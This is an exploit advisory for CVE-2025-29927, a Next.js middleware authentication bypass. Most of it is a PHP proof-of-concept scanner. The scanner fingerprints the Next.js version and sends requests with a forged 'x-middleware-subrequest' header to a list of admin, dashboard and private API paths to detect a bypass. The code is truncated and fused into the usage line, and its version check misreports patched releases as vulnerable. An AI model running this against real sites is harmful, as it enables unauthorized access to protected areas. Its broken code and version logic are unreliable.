============================================================================================================================================= | # Title : Next.js 14.2.25 Middleware Subrequest Bypass Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://nextjs.org/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212394/ & CVE-2025-29927 [+] Summary : A vulnerability exists in the Next.js middleware handling mechanism, where requests containing the "x-middleware-subrequest" header are processed differently compared to normal requests, potentially allowing attackers to bypass authentication. [+] POC : php poc.php 127.0.0.1 $info["http_code"], "body" => substr($resp, $header_size), "headers" => substr($resp, 0, $header_size) ]; } function detect_next_version($base) { $res = http_request($base); $html = $res["body"]; $hdrs = $res["headers"]; // Header detection if (preg_match("/x-powered-by:\s*(.*)/i", $hdrs, $m)) { if (stripos($m[1], "Next.js") !== false) { echo "[*] Version found in header: {$m[1]}\n"; return trim(str_replace("Next.js", "", $m[1])); } } // Static leak detection if (preg_match('#/_next/static/[^/]+/revisions/(?:static|webpack)-(\d+\.\d+\.\d+)#', $html, $m)) { echo "[*] Heuristic detected version: {$m[1]}\n"; return $m[1]; } echo "[!] Could not detect Next.js version reliably\n"; return null; } function version_vulnerable($v) { $safe = ["12.3.5", "13.5.9", "14.2.25", "15.2.3"]; foreach ($safe as $sv) { if (version_compare($v, $sv, "<")) return true; } return false; } function test_bypass($base, $ep) { $url = rtrim($base, "/") . $ep; echo "\n[*] Testing endpoint: $url\n"; $normal = http_request($url); $bypass1 = http_request($url, ["x-middleware-subrequest: middleware"]); $bypass2 = http_request($url, ["x-middleware-subrequest: middleware:middleware:middleware"]); echo "[+] Normal Status: {$normal['status']}\n"; echo "[+] Bypass Status : {$bypass1['status']}\n"; if ($normal["status"] !== $bypass1["status"]) echo "[!] Status difference detected - POSSIBLE BYPASS\n"; if (strlen($normal["body"]) !== strlen($bypass1["body"])) echo "[!] Response length differs - HIGH Bypass Chance\n"; } if ($argc != 2) { echo "Usage: php $argv[0] https://target.com\n"; exit; } $base = $argv[1]; echo "[*] Scanning $base for CVE-2025-29927\n"; $ver = detect_next_version($base); if ($ver) { echo "[*] Detected Version: $ver\n"; if (version_vulnerable($ver)) echo "[!] Version appears VULNERABLE\n"; else echo "[*] Version appears patched\n"; } $endpoints = [ "/api/user", "/admin", "/dashboard", "/api/admin", "/admin/login", "/admin/dashboard", "/dashboard/settings", "/admin/settings", "/api/auth", "/api", "/api/users", "/api/admin/session", "/api/settings", "/api/private", "/account", "/account/settings", "/profile", "/settings", "/me", "/me/settings", "/_next", "/_next/data", "/_next/static" ]; foreach ($endpoints as $ep) test_bypass($base, $ep); Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================